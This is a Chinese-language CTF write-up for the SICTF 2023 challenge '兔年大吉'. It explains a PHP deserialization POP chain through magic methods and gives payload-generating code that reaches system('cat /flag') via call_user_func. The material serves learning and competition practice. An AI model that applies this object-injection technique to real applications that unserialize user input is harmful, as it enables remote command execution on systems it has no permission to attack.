首页 > 其他分享 >[2023 SICTF]兔年大吉

[2023 SICTF]兔年大吉

时间:2023-01-20 16:33:52浏览次数:50  
标签:__ function SICTF 兔年 Year rabbit 2023 new public

首先先上pop链构造基础
__construct()  //当对象创建时触发
__destruct()   //当对象销毁时触发
__wakeup()     //当使用unserialize时触发
__sleep()     //当使用serialize时触发
__destruct()  //当对象被销毁时触发
__call()      //当对象上下文中调用不可访问的方法时触发
__get()       //当访问不可访问或不存在的属性时触发
__set()       //当设置不可访问或不存在属性时触发
__toString()  //当把类当作字符串使用时触发
__invoke()    //当对象调用为函数时触发

题目

<?php
highlight_file(__FILE__);
error_reporting(0);

class Happy{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __call($name, $arguments)
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        die("Wishes can be fulfilled");
    }
}

class Nevv{
    private $happiness;

    public function __invoke()
    {
        return $this->happiness->check();
    }

}

class Rabbit{
    private $aspiration;
    public function __set($name,$val){
        return $this->aspiration->family;
    }
}

class Year{
    public $key;
    public $rabbit;

    public function __construct($key)
    {
        $this->key = $key;
    }

    public function firecrackers()
    {
        return $this->rabbit->wish = "allkill QAQ";
    }

    public function __get($name)
    {
        $name = $this->rabbit;
        $name();
    }

    public function __destruct()
    {
        if ($this->key == "happy new year") {
            $this->firecrackers();
        }else{
            print("Welcome 2023!!!!!");
        }
    }
}

if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
}else {
    echo "过新年啊~过个吉祥年~";
}
?>

POP链构造思路

  1. 首先发现Happy类中有call_user_func代码执行函数,条件为触发__call()
  2. Nevv中存在调用不可调用的check()方法, 条件为触发__invoke()
  3. Year 类中发现$name()可触发invoke方法,条件为触发__get()
  4. Rabbit类中family为不可访问属性,触发__get(),条件为触发__set()
  5. Year 类方法中发现firecrackers()可触发__set() ,条件为类属性key="happy new year"

伪思路代码构造

$Year = new Year("happy new year")
$Year->rabbit = new Rabbit()
//因为不需要调用firecrackers()
$Year->rabbit->aspiration = new Year("xx")
$Year->rabbit->aspiration->rabbit = new Nevv()
$Year->rabbit->aspiration->rabbit->happiness = new Happy("system", "cat /flag");

由于private存在,因此构造payload的php就需要添加构造函数

Payload生成代码

<?php
highlight_file(__FILE__);
error_reporting(0);

class Happy{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __call($name, $arguments)
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        die("Wishes can be fulfilled");
    }
}

class Nevv{
    private $happiness;

    public function __construct(){
        $this->happiness = new Happy("system", "cat /flag");
    }

    public function __invoke()
    {
        return $this->happiness->check();
    }

}

class Rabbit{
    private $aspiration;
    public function __construct(){
        $this->aspiration = new Year("xx");
        $this->aspiration->rabbit = new Nevv();
    }
    public function __set($name,$val){
        return $this->aspiration->family;
    }
}

class Year{
    public $key;
    public $rabbit;

    public function __construct($key)
    {
        $this->key = $key;
    }

    public function firecrackers()
    {
        return $this->rabbit->wish = "allkill QAQ";
    }

    public function __get($name)
    {
        $name = $this->rabbit;
        $name();
    }

    public function __destruct()
    {
        if ($this->key == "happy new year") {
            $this->firecrackers();
        }else{
            print("Welcome 2023!!!!!");
        }
    }
}

$year = new Year("happy new year");
$year->rabbit = new Rabbit();
// serialize
echo serialize($year)."<br/>";
echo urlencode(serialize($year))."<br/>";

?>

标签:__,function,SICTF,兔年,Year,rabbit,2023,new,public
From: https://www.cnblogs.com/0xo0Kerk/p/17062858.html

相关文章

  • 2023.3 春节假期
    虎年马上再有一天就要过去了,迎来是三年疫情后第一个春节,自己计划要做下面的事:1、回老家,走亲访友。因为疫情很长时间没回去了,趁着春节假期回去看看,虽然有点物是人非,但回到小......
  • WC2023 解题报告
    WC2023解题报告stairs考虑阶梯的右下折线,称竖线为0,横线为1,从上到下形成一个01序列。原题要求的子楼梯边界格数转化成01序列里靠前的0和靠后的1的位置差。我......
  • 算法--2023.1.20
    1.acwing842--排列数字importjava.util.Deque;importjava.util.LinkedList;importjava.util.List;importjava.util.Scanner;publicclassMain{publicst......
  • 2023-1-20 #29 “不会有全世界陪你沉睡的童话”
    昨天vp:ICPC2022Nanjing。K题比较弱智,但是后面摆了,懒得写。本来录屏了,后来感觉打的不太行就删掉了。160EColortheTree很难的啊!没想到大家都会做。可以发现不同......
  • 20230120 常用动词
    Ifyoulookcarefullyyoucanseethatthepaintingrepresentsahumanfigure.如果仔细看,就会看出画上是一个人形。Ginacoveredhereyes,afraidtolook.吉娜......
  • 2023 r00t 奶茶题
    2023r00t奶茶题URLpythoncls代表类本身,self代表类实例;@classmethoddeffunc(cls,...): ... ret前要带着@classmethod指定下一个函数为类方法,首参数为cls......
  • 数据结构课程设计[2023-01-19]
    数据结构课程设计[2023-01-19]数据结构课程设计一、课程设计要求实现指定的题目(学号最后两位%4+1),并撰写课程设计报告。独立完成,功能不完备也没关系,只要是自己做的使......
  • SICTF2023 web_wp
    兔年大吉源码如下<?phphighlight_file(__FILE__);error_reporting(0);classHappy{private$cmd;private$content;publicfunction__construct($......
  • 2023牛客寒假算法基础集训营2题解
    写在前面菜菜,哭哭,大佬救救QaQ理解大佬的代码并且整理成一篇博客真的很累...C:Tokitsukazeanda+b=n(hard)1.本蒟蒻的代码个人感觉用前缀和更方便。我最开始用的是线......
  • 2023.1.19 学习初识 JAVA
    C语言1972年诞生了C语言,1982年诞生了C++  1995年诞生了JAVA。C语言贴近硬件,运行速度快,效率极高  (指针和内存管理)操作系统编译器数据库网络系统等C++面向对象......